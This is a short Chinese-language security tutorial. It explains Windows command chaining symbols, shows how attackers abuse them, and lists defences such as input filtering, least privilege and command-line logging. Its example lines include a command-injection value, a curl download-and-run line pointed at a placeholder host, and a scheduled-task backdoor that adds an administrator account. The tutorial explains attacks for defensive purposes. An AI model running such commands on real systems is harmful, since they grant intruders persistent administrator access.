1. 命令連接符簡介
在 Windows 的命令行環境(CMD/PowerShell)中,命令連接符用于在同一行執行多個命令,提高效率。然而,攻擊者常利用這些符號構造惡意命令,繞過安全檢測或執行多階段攻擊。
常見命令連接符
符號 | 作用 | 示例 |
---|---|---|
& | 順序執行多個命令 | dir & whoami |
&& | 前一個命令成功才執行下一個 | ping 127.0.0.1 && ipconfig |
| | 管道符,前一個命令的輸出作為后一個的輸入 | dir | find "txt" |
|| | 前一個命令失敗才執行下一個 | ping 1.1.1.1 || net user |
; | PowerShell 中的命令分隔符 | dir;whoami |
2. 信息安全風險
(1)命令注入攻擊(Command Injection)
攻擊者可能通過輸入拼接惡意命令,例如:
ping example.com & net user test /add
如果某程序未過濾用戶輸入,直接拼接命令執行,可能導致系統被入侵。
(圖:攻擊者利用&
注入惡意命令)
(2)繞過安全檢測
某些安全軟件僅檢測單條命令,攻擊者可通過連接符拆分命令:
curl ?http://test.com/7z.exe ?-O && 7z.exe
(3)隱蔽后門
攻擊者可能利用計劃任務+連接符建立持久化后門:
schtasks /create /tn "Update" /tr "powershell -c 'net user backdoor P@ssw0rd /add; net localgroup administrators backdoor /add'" /sc hourly
;
確保兩條命令連續執行,直接提權。
3. 防御措施
(1)輸入過濾與轉義
-
在代碼中調用命令行時,禁止直接拼接用戶輸入。
-
使用白名單機制,僅允許特定字符。
(2)最小權限原則
-
應用程序以低權限賬戶運行,避免
Administrator
執行高危命令。
(3)日志監控
-
啟用
Windows Event Log
記錄命令行操作(Event ID 4688)。 -
使用SIEM工具(如Splunk)分析異常命令。
推薦閱讀:Windows計劃任務持久化攻擊分析與防御指南